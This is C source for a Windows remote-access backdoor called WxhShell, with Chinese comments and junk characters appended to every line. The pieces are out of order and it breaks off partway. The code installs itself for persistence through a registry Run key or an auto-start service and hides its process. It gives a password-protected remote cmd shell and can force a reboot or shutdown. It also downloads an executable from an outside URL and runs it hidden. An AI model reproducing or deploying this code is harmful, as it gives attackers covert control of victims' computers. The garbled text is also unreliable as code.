    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `yF6-F  
    else { "AYm*R  
    closesocket(wsh); <` [o|>A Z  
    ExitThread(0); i<@"+~n~GK  
    } X .,Lmh  
    break; W>TG!R 5  
    } 5|O~  
  // 获取shell ~wYGTm=(n  
  case 's': { x3DUz  
    CmdShell(wsh); f#mNx  
    closesocket(wsh); 6$/Z.8  
    ExitThread(0); 'F2g2W`  
    break; =r|e]4  
  } idsBw!DB  
  // 退出 )|3BS`  
  case 'x': { B|d-3\sn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dynkb901s  
    CloseIt(wsh); {=K);z  
    break; zVt1Ta:j  
    } b'q ru~i  
  // 离开 X* 4C?v  
  case 'q': { I+2#k\y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #zmt x0  
    closesocket(wsh); H=lzW_(  
    WSACleanup(); ?vt#M^Q   
    exit(1); aa2 vk)~  
    break; o8_))  
        } d?:KEi-<7  
  } M>qqe!c*  
  } yz}ik^T  
OSoIH`t A  
  // 提示信息 .A6D&-&z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >0F)^W?  
} ncGt-l<9  
  } #`]`gNB0Yg  
Cv[_N%3[  
  return; J.;!l   
} AQ%B&Q(V1  
K g6hySb  
// shell模块句柄 l bs0i  
int CmdShell(SOCKET sock) Xwp6]lx  
{ mH.c`*  
STARTUPINFO si; wqxChTbs  
ZeroMemory(&si,sizeof(si)); 0oK_uY 4g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '4KN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3vXa#f>P<  
PROCESS_INFORMATION ProcessInfo; kB` @M>[  
char cmdline[]="cmd"; jOUM+QO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F(O"S@  
  return 0; +Y?) ?  
} bG)EZ  
^>Vl@cW0uz  
// 自身启动模式 s(Y2]X4 (  
int StartFromService(void) `cQAO1-5  
{ 'VpzB s#  
typedef struct CCHGd&\Z  
{ Nl]_Ie6  
  DWORD ExitStatus; %1mIngW=g  
  DWORD PebBaseAddress; NufRd/q  
  DWORD AffinityMask; ="p,~ivrz  
  DWORD BasePriority; aT4I sPA?_  
  ULONG UniqueProcessId; uG7?:) pxv  
  ULONG InheritedFromUniqueProcessId; vpq"mpfkh  
}   PROCESS_BASIC_INFORMATION; p[Zk;AT~  
3AcS$.G  
PROCNTQSIP NtQueryInformationProcess; Rp+Lu  
?;]Xc~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,(i`gH{D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q2 b>Z6!5  
' !2NSv  
  HANDLE             hProcess; /IQ$[WR cx  
  PROCESS_BASIC_INFORMATION pbi; R]&lVXyH  
`h%K8];<6f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6t\0Ui  
  if(NULL == hInst ) return 0; G %A!yV  
a[VX)w_W{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cYgd1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ' hDs.Wnu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r^7eK)XA_  
_z=yt t9D  
  if (!NtQueryInformationProcess) return 0; YEa<zhO8  
B/*\Ih9y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9Y:Iha`$w  
  if(!hProcess) return 0; L\hid /NL  
W(}2R>$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b*(, W  
p;qFMzyS9  
  CloseHandle(hProcess); wpWZn[j  
I`77[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `_()|;!y  
if(hProcess==NULL) return 0; o)f$ 7.  
tkYPfUvTE  
HMODULE hMod; m\oxS;fxWi  
char procName[255]; ( Sjlm^bca  
unsigned long cbNeeded; z}Lf]w?  
"8p<NsU   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >Hu3Guik]  
B)*1[Jf{4  
  CloseHandle(hProcess); :9DyABK=Cv  
\JC_"gqt  
if(strstr(procName,"services")) return 1; // 以服务启动 2 g~W})e  
Mp QsM-iW  
  return 0; // 注册表启动 Dz,|sHCmk  
} j0^1BVcj  
ZkWMo= vL  
// 主模块 [b+B"f6  
int StartWxhshell(LPSTR lpCmdLine) 0Bt>JbGs4  
{ eiCmd =O7  
  SOCKET wsl; $O&N  
BOOL val=TRUE; 9?q ^yy  
  int port=0; nA(5p?D+YB  
  struct sockaddr_in door; l,6' S8=  
 1p K(tm  
  if(wscfg.ws_autoins) Install(); Q/@ pcU  
#eF,* d  
port=atoi(lpCmdLine); e(?1`1  
yIf^vx_G  
if(port<=0) port=wscfg.ws_port; i[4!% FxB  
bk0<i*ju7(  
  WSADATA data; r $[{sW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iGSF5S  
VnqcpJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?E,-P!&R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Scug wSB  
  door.sin_family = AF_INET; Q,M,^_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r0wAh/J|  
  door.sin_port = htons(port); d;,Jf*x\  
B8unF=u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0dIGX |e  
closesocket(wsl); FJq g,  
return 1; Sz:PeUr9h  
} +f$ {r7  
j<QK1d17  
  if(listen(wsl,2) == INVALID_SOCKET) { t%%zuqF`  
closesocket(wsl); 6-~ZOMlV  
return 1; G)?j(El  
} rmi&{o:  
  Wxhshell(wsl); R_9M-RP6*  
  WSACleanup(); ] *U+nG  
G5|'uKz2"  
return 0; 62kA(F 0e,  
b'C#]DorE  
} H2xDC_Fs  
V*r/0|vd  
// 以NT服务方式启动 }+}Cl T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L{GlDoFk  
{ Z<W f/  
DWORD   status = 0; ;s#I b_  
  DWORD   specificError = 0xfffffff; i1X!G|Awfv  
P'SGt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z}iz~WZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <>(v~a]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M1]w0~G  
  serviceStatus.dwWin32ExitCode     = 0; Ve qB/Q X  
  serviceStatus.dwServiceSpecificExitCode = 0; P^ht$)Y  
  serviceStatus.dwCheckPoint       = 0; k.})3~F-  
  serviceStatus.dwWaitHint       = 0; Rqbz3h~  
[?=DPE%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A~ v[6*~>  
  if (hServiceStatusHandle==0) return; M?Fv'YE  
Lp3pJE  
status = GetLastError(); MR: H3  
  if (status!=NO_ERROR) =jA.INin4  
{ >0u*E *Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q"Exmn3p  
    serviceStatus.dwCheckPoint       = 0; <pXOE- G5  
    serviceStatus.dwWaitHint       = 0; 1;+77<  
    serviceStatus.dwWin32ExitCode     = status; tKeozV[V  
    serviceStatus.dwServiceSpecificExitCode = specificError; z8r?C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]T(qk  
    return; oCLM'\  
  } E:O/=cT  
e\O625  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ADM!4L(s4}  
  serviceStatus.dwCheckPoint       = 0; P8H2v_)X&  
  serviceStatus.dwWaitHint       = 0; SmRFxqtN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B qINU  
} 1NG[   
ny!80I  
// 处理NT服务事件,比如:启动、停止 ,-kz \N@.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M04u>| ,  
{ IF@vl  
switch(fdwControl) =*.S<Ko)  
{ /cVZ/"  
case SERVICE_CONTROL_STOP: vR pO0qG  
  serviceStatus.dwWin32ExitCode = 0; Q<DXDvL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >s!k"s,  
  serviceStatus.dwCheckPoint   = 0; Y9 Bk$$#\  
  serviceStatus.dwWaitHint     = 0; xT( pB-R  
  { /XA*:8~!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fh66Gn,  
  } 4#t=%}  
  return; AFeFH.G6Jr  
case SERVICE_CONTROL_PAUSE: I~E&::,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |Om9(xT  
  break; D><^7nr%  
case SERVICE_CONTROL_CONTINUE: 6-\' *5r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zG c ]*R  
  break; 9 &Ry51  
case SERVICE_CONTROL_INTERROGATE: -<AGCiLz  
  break; dj4a)p|YN  
}; @HE?G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BlM(Q/z  
} U ]B-B+-  
O;&5> W,Z  
// 标准应用程序主函数 I.>8p]X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X)= m4\R  
{ pc QkJ F  
EY.m,@{  
// 获取操作系统版本 **oDQwW]*  
OsIsNt=GetOsVer(); IL uQf-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DGw*BN%`  
+VJyGbOcC  
  // 从命令行安装 W<TfDEEa  
  if(strpbrk(lpCmdLine,"iI")) Install(); fN21[Jv3  
c>! ^\  
  // 下载执行文件 \4 +HNy3  
if(wscfg.ws_downexe) { `,Y3(=3Xe?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rmFcSolt,f  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0-uVmlk=/  
} \IEuu^  
JV8*;n%}-  
if(!OsIsNt) { g&Uu~;jq]  
// 如果时win9x,隐藏进程并且设置为注册表启动 g $^Yv4  
HideProc(); l>hvWK[ ?I  
StartWxhshell(lpCmdLine); '#oH1$W]  
} ^ 4p$@5zH  
else " YOl6n  
  if(StartFromService()) `Tk~?aY  
  // 以服务方式启动 -i_XP]b&  
  StartServiceCtrlDispatcher(DispatchTable); jLY$P<u?%P  
else f)V6VNW.3  
  // 普通方式启动 yMmUOIxk\  
  StartWxhshell(lpCmdLine); DMSC(Sz  
;#8xRLW  
return 0; b.8T<@a  
} YY$Z-u(  
,Ij/ ^EC}  
??LE0i  
 [@3.dd  
=========================================== b`Jsu!?{  
W59xe&l  
:QHh;TIG=<  
,g3n/'rP%  
!/! Fc'A  
E8wkqZN  
" DK'S4%;Sp  
?%D nIl>  
#include <stdio.h> 0Pt% (^  
#include <string.h> (h[. Ie  
#include <windows.h> cK\?wZ| Y  
#include <winsock2.h> QF22_D<.}J  
#include <winsvc.h> 0HQTe>!  
#include <urlmon.h> _Kh8 <$h  
mtw{7 E  
#pragma comment (lib, "Ws2_32.lib") IJ:JH=8  
#pragma comment (lib, "urlmon.lib") V@EyU/VJ  
5yj6MaqJ  
#define MAX_USER   100 // 最大客户端连接数 2E!Q5 l!j  
#define BUF_SOCK   200 // sock buffer *Uf>Xr&  
#define KEY_BUFF   255 // 输入 buffer hM=X# ;  
ER}5`*X{  
#define REBOOT     0   // 重启 %WX^']p  
#define SHUTDOWN   1   // 关机 Id>I.e4  
Kw:%B|B<T  
#define DEF_PORT   5000 // 监听端口 /1bQ RI^\  
5Q8s{WQ  
#define REG_LEN     16   // 注册表键长度 )t:8;;W@Ir  
#define SVC_LEN     80   // NT服务名长度 2r]o>X  
Ysw&J}6e  
// 从dll定义API ~at:\h4:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s"2+H}u   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g0IvcA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VCIV*5 P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NQcg}y  
PIoBKCJ  
// wxhshell配置信息 ^V]IPGV  
struct WSCFG { A^zd:h-  
  int ws_port;         // 监听端口 Mp[2Auf  
  char ws_passstr[REG_LEN]; // 口令 TZ}y%iU:mB  
  int ws_autoins;       // 安装标记, 1=yes 0=no m}>Q#IVZ  
  char ws_regname[REG_LEN]; // 注册表键名 A>RK3{7  
  char ws_svcname[REG_LEN]; // 服务名 }gE^HH'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <7gv<N6BQf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "x0KiIoPk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?N@[R];  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zH#urF6<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5{vuN)K3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .&8a ;Q?c  
$ERiBALN:  
}; |8)\8b|VuC  
IP)%y%ycw  
// default Wxhshell configuration {K:] dO  
struct WSCFG wscfg={DEF_PORT, 2 i NZz  
    "xuhuanlingzhe", K `A8N  
    1, X/m~^  
    "Wxhshell", ]*Kv[%r07c  
    "Wxhshell", 6* 0vUy*"  
            "WxhShell Service", >Nx4 +|  
    "Wrsky Windows CmdShell Service", "3_GFq  
    "Please Input Your Password: ", c'5ls7?}O{  
  1, 1S yG  
  "http://www.wrsky.com/wxhshell.exe", :YLurng/]  
  "Wxhshell.exe" O]j<$GG!  
    }; d b *J  
#3A|Z=,5  
// 消息定义模块 *D1vla8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1 (e64w@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .SNg2.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EW+QVu@  
char *msg_ws_ext="\n\rExit."; >t%@)]*N  
char *msg_ws_end="\n\rQuit.";  [ A 7{}  
char *msg_ws_boot="\n\rReboot..."; .Sv/0&O  
char *msg_ws_poff="\n\rShutdown..."; _g'x=VJF  
char *msg_ws_down="\n\rSave to "; tX,x%(  
+AFBTJ  
char *msg_ws_err="\n\rErr!"; <\P `<  
char *msg_ws_ok="\n\rOK!"; %'S[f  
b"B:DDw00  
char ExeFile[MAX_PATH]; ,/!^ZS*  
int nUser = 0; ^ohIJcI-  
HANDLE handles[MAX_USER]; 6` Aw!&{  
int OsIsNt; cIrc@  
Ynp#3 r  
SERVICE_STATUS       serviceStatus; xLgZtLt9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \5Y<UJ Ki  
da@W6Ovx  
// 函数声明 2(Aw  
int Install(void); P?zaut  
int Uninstall(void); Lg|d[*;'7  
int DownloadFile(char *sURL, SOCKET wsh); 4U u`1gtz  
int Boot(int flag); 9n"MNedqH  
void HideProc(void); *M$'dLn  
int GetOsVer(void); io@f5E+?  
int Wxhshell(SOCKET wsl); *.Z~f"SZy*  
void TalkWithClient(void *cs); wzBI<0]z  
int CmdShell(SOCKET sock); 'E\4/0 !  
int StartFromService(void); \0&F'V  
int StartWxhshell(LPSTR lpCmdLine); rj4R/{h  
)lq+Gv[%F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q1m{G1W n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^`Hb7A(  
aK 3'u   
// 数据结构和表定义 #7/39zTK  
SERVICE_TABLE_ENTRY DispatchTable[] = cH+ ~|3  
{ hML-zZ   
{wscfg.ws_svcname, NTServiceMain}, 0Q)YZ2  
{NULL, NULL} k|U2Mp  
}; aM(x--UR=  
\xQu*M:!  
// 自我安装 7:<A_OLi  
int Install(void) +oL@pp0  
{ \1QY=}  
  char svExeFile[MAX_PATH]; *kEzGgTzoS  
  HKEY key; 8DM! ]L  
  strcpy(svExeFile,ExeFile); ?nq%'<^^  
@[Q`k=h$  
// 如果是win9x系统,修改注册表设为自启动 ydAiH*>  
if(!OsIsNt) { syI|gANT/r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'g3T'2"`5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +(^H L3  
  RegCloseKey(key); 9[sOh<W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u(\O@5a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +[_3h9BK  
  RegCloseKey(key); gYe6(l7m  
  return 0; sV\K[4HG  
    } LWhP d\  
  } ZDov2W  
} @PctBS<s  
else { (NN;1{DB8  
RgZ9ZrE\  
// 如果是NT以上系统,安装为系统服务 L0GQH;Y,h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "fW }6pS  
if (schSCManager!=0) DJAKF  
{ T Q5kM  
  SC_HANDLE schService = CreateService ),|z4~  
  ( 3rjKwh7  
  schSCManager, Y*S:/b~y  
  wscfg.ws_svcname, U3Z-1G~*r  
  wscfg.ws_svcdisp, kg\8 (@h]  
  SERVICE_ALL_ACCESS, <Y2$'ETD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4u"Bll  
  SERVICE_AUTO_START, D2=zrU3Y64  
  SERVICE_ERROR_NORMAL, b};o:  
  svExeFile, Rd|8=`)  
  NULL, OHrzN ']  
  NULL, '$?!>HN4  
  NULL, .J O1kt  
  NULL, j#Tl\S!m.I  
  NULL %l6E0[   
  ); c*\;!dbP  
  if (schService!=0) bdG@%K',  
  { iq[IZdza  
  CloseServiceHandle(schService); xc\zRsY`  
  CloseServiceHandle(schSCManager); d325Cw?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vm'ZA7f6  
  strcat(svExeFile,wscfg.ws_svcname); CPMGsW^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '4Fwh]Ee  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9y<h.T  
  RegCloseKey(key); -4zV yW S<  
  return 0; L"n)fe$  
    } 6U.|0mG[  
  } &/WE{W  
  CloseServiceHandle(schSCManager); ~E!kx  
} | L1+7  
} 5t"FNL <(M  
DfP-(Lm)  
return 1; Iy&,1CI"]  
} WqF$-rBJG^  
=0!j"z=  
// 自我卸载 RZ;s_16GQ  
int Uninstall(void) V; CPn  
{ S!+>{JyQ  
  HKEY key; y@I t#!u0  
o]<9wc:FZ  
if(!OsIsNt) { Jazgn5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  bI8uw|c  
  RegDeleteValue(key,wscfg.ws_regname); akU2ToP  
  RegCloseKey(key); 4^M"V5tDx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :O$bsw:3w<  
  RegDeleteValue(key,wscfg.ws_regname); OZnKJ<  
  RegCloseKey(key); W5=)B`v  
  return 0; w,$qsmR  
  } U+@U/s%8  
} k)|.<  
} ;i'[c`  
else { Z7RBJK7|.  
zsJermF,O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y[dq"  
if (schSCManager!=0) %dv?n#Uf  
{ %W)pZN}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $(Mz@#%  
  if (schService!=0) F= %A9b_a  
  { ?Ve I lD  
  if(DeleteService(schService)!=0) { `fTM/"  
  CloseServiceHandle(schService); ,"XiI$Le  
  CloseServiceHandle(schSCManager); +yHz7^6-5  
  return 0; c38XM]Jeq  
  } 4=MjyH|[Jx  
  CloseServiceHandle(schService); _#s,$K#  
  } lM{ fld  
  CloseServiceHandle(schSCManager); xZlCFu   
} ~rJG4U  
} {svo!pN:  
[nPs  
return 1; /:' >-253  
} n2hV}t9O  
G0Qw& mqF  
// 从指定url下载文件 Vm>EF~r  
int DownloadFile(char *sURL, SOCKET wsh) >MYDwH  
{ 9;?u%  
  HRESULT hr; |=m.eU  
char seps[]= "/"; 9S*"={}%  
char *token; _gI1rXI  
char *file; a4=(z72xe  
char myURL[MAX_PATH]; S!.&#sc  
char myFILE[MAX_PATH]; I4{xQI  
p2{7+m  
strcpy(myURL,sURL); MA6 Vy  
  token=strtok(myURL,seps); ;ryNfP%  
  while(token!=NULL) !NkCki"W  
  { $t(v `,  
    file=token; '.(Gg%*\.  
  token=strtok(NULL,seps); o1x1SH  
  } ,7]hjf_h  
A>1$?A8Q  
GetCurrentDirectory(MAX_PATH,myFILE); JHt U"  
strcat(myFILE, "\\"); y~@zfJ5/^  
strcat(myFILE, file); Kbf(P95+uL  
  send(wsh,myFILE,strlen(myFILE),0); AXW.`~ 4  
send(wsh,"...",3,0); Q>Zc eJ;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g-~ _gt7  
  if(hr==S_OK) ]myRYb5Z  
return 0; bIAE?D  
else P<<+;']  
return 1; %+N]$Q  
]VRa4ZB{u  
} Qs6Vu)U=  
5M0Q'"`F:  
// 系统电源模块 L(VFzPkY%  
int Boot(int flag) bOFzq>k_  
{ <gkE,e9  
  HANDLE hToken; alaL/p{O  
  TOKEN_PRIVILEGES tkp; Yi*F;V   
&>,;ye>A  
  if(OsIsNt) { K8;SE !  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z~~6y6p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3R+% C*7  
    tkp.PrivilegeCount = 1; b0{i +R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1 :p'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A'DFY {  
if(flag==REBOOT) { d_@ E4i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wtY)(k a  
  return 0; sFTAE1|  
} tQ|c.`)W  
else { olE(#}7V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u ]e-IYH  
  return 0; &Q883A J  
} w\bwa!3Y  
  } kGYpJg9=  
  else { k&ci5MpN  
if(flag==REBOOT) { &zdS9e-fF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ""0 Y^M2I  
  return 0; ]#)(D-i  
} }qn>#ETi  
else { Lq2Q:w'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e= IdqkJ%  
  return 0; ]F4QZV( M  
} ,|:.0g[n  
} qzUiBwUi@  
y2jv84 M  
return 1; _O`p(6  
} h0tiWHw  
PR%)3  
// win9x进程隐藏模块 )@NFV*@I  
void HideProc(void) i1vz{Tc  
{ d4S4 e  
V*jl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )QE6X67i  
  if ( hKernel != NULL ) r&]XNq'P9  
  { wk|+[Rl;L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lYG`)#T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NN*L3yx  
    FreeLibrary(hKernel); jIubJQR~  
  } }?s-$@$R  
23gN;eD+m6  
return; FEjO}lTK  
} *7xcwj eP  
oy^-?+   
// 获取操作系统版本 $hhXsu=  
int GetOsVer(void) 0cS$S Mn{  
{ U>2KjZB  
  OSVERSIONINFO winfo; 9 C[~*,qx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nk7y2[  
  GetVersionEx(&winfo); I%5vI}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t*IePz]/  
  return 1; Lh[0B.g<  
  else u cpU $+  
  return 0; |Ea%nghl  
} a !VWWUTm?  
0/R;g~q@  
// 客户端句柄模块 f .O^R~,  
int Wxhshell(SOCKET wsl) Kb%Y%j  
{ ;ElCWs->\  
  SOCKET wsh; W=+n |1  
  struct sockaddr_in client; @xWWN  
  DWORD myID; @_ %RQO_X  
cMY}Y [2c  
  while(nUser<MAX_USER) rN}pi@  
{ & kC  
  int nSize=sizeof(client); //63|;EEkl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g04^M (  
  if(wsh==INVALID_SOCKET) return 1; (47?lw &  
4Zbn8GpC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w}3N!jNDv  
if(handles[nUser]==0) X _ZO)|  
  closesocket(wsh); D6bYg `  
else |+ F ~zIu'  
  nUser++; syl7i>P  
  } W.j^L;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _k@cs^  
$JY \q2  
  return 0; [7I:Dm  
} d A)T>  
jFN0xGZ  
// 关闭 socket wn[)/*(,$(  
void CloseIt(SOCKET wsh) L$PbC!1  
{ `+,?%W)  
closesocket(wsh); p1UloG\  
nUser--; a=MN:s?Fc0  
ExitThread(0);  0s;~9>  
} xS|9Gk  
Lz 1.+:Ag  
// 客户端请求句柄 w/#7G\U  
void TalkWithClient(void *cs) b/S:&%E  
{ spa :5]B  
,JwX*L<:  
  SOCKET wsh=(SOCKET)cs; T?1BcY  
  char pwd[SVC_LEN]; _lv{8vf1B  
  char cmd[KEY_BUFF]; K#OL/2^ 5  
char chr[1]; FyEKqYl  
int i,j; 1/-3m Po  
%0Ur3  
  while (nUser < MAX_USER) { nah?V" ?Y  
,WyEwc]  
if(wscfg.ws_passstr) { p/Ul[7A4e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '4'Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0|AgmW_7 .  
  //ZeroMemory(pwd,KEY_BUFF); yJ?=##  
      i=0; PysDDU}v  
  while(i<SVC_LEN) { yQhO-jT  
?Bu*%+  
  // 设置超时 +R*DE5dz  
  fd_set FdRead; dj0%?g>  
  struct timeval TimeOut; 9`f@"%h  
  FD_ZERO(&FdRead); %+'Ex]B  
  FD_SET(wsh,&FdRead); {"]!zL  
  TimeOut.tv_sec=8; 2^'Ec:|f  
  TimeOut.tv_usec=0; ys`-QlkB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D\Ez~.H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tX^6R  
]aPf-O*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (G|!{  
  pwd=chr[0]; ](JrEg$K  
  if(chr[0]==0xd || chr[0]==0xa) { 6_`Bo%  
  pwd=0; f/Y&)#g>k  
  break; 3q%z  
  } =`+D/ W\[Y  
  i++; yr%[IX]R  
    } ?M:>2wl  
eA& #33  
  // 如果是非法用户,关闭 socket F(VVb(\jd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `KZV@t  
} N:lE{IvRJ  
,V1"Typ#<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _<Ak M"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b+~_/;Y9  
6Q:Wo)^!  
while(1) { q(n"r0)=  
`NtW+v  
  ZeroMemory(cmd,KEY_BUFF); kP`#zwp'Ci  
UNDl&C2vz  
      // 自动支持客户端 telnet标准   p$,G`'l  
  j=0; rO#w(]   
  while(j<KEY_BUFF) { jRg/N_2'2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D9+qT<ojN  
  cmd[j]=chr[0]; Tx} Nr^   
  if(chr[0]==0xa || chr[0]==0xd) { HO<|EH~lu  
  cmd[j]=0; I(M/ X/  
  break; 336ETrG^0  
  } T`e`nQ0nn  
  j++; uGZGI;9f4  
    } |3~m8v2-  
RG'iWA,9m`  
  // 下载文件 LzL)qdL  
  if(strstr(cmd,"http://")) { Pg}QRCB@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1o&zA<+NY  
  if(DownloadFile(cmd,wsh)) xN*k&!1&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LcGKYl(\K  
  else I0x)d`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H4ie$/[$8  
  } lrJV"H  
  else { *6yY>LW  
fnq 3ic"V  
    switch(cmd[0]) { ZiZ@3O6  
  3t<a3"{9  
  // 帮助 2OoANiX  
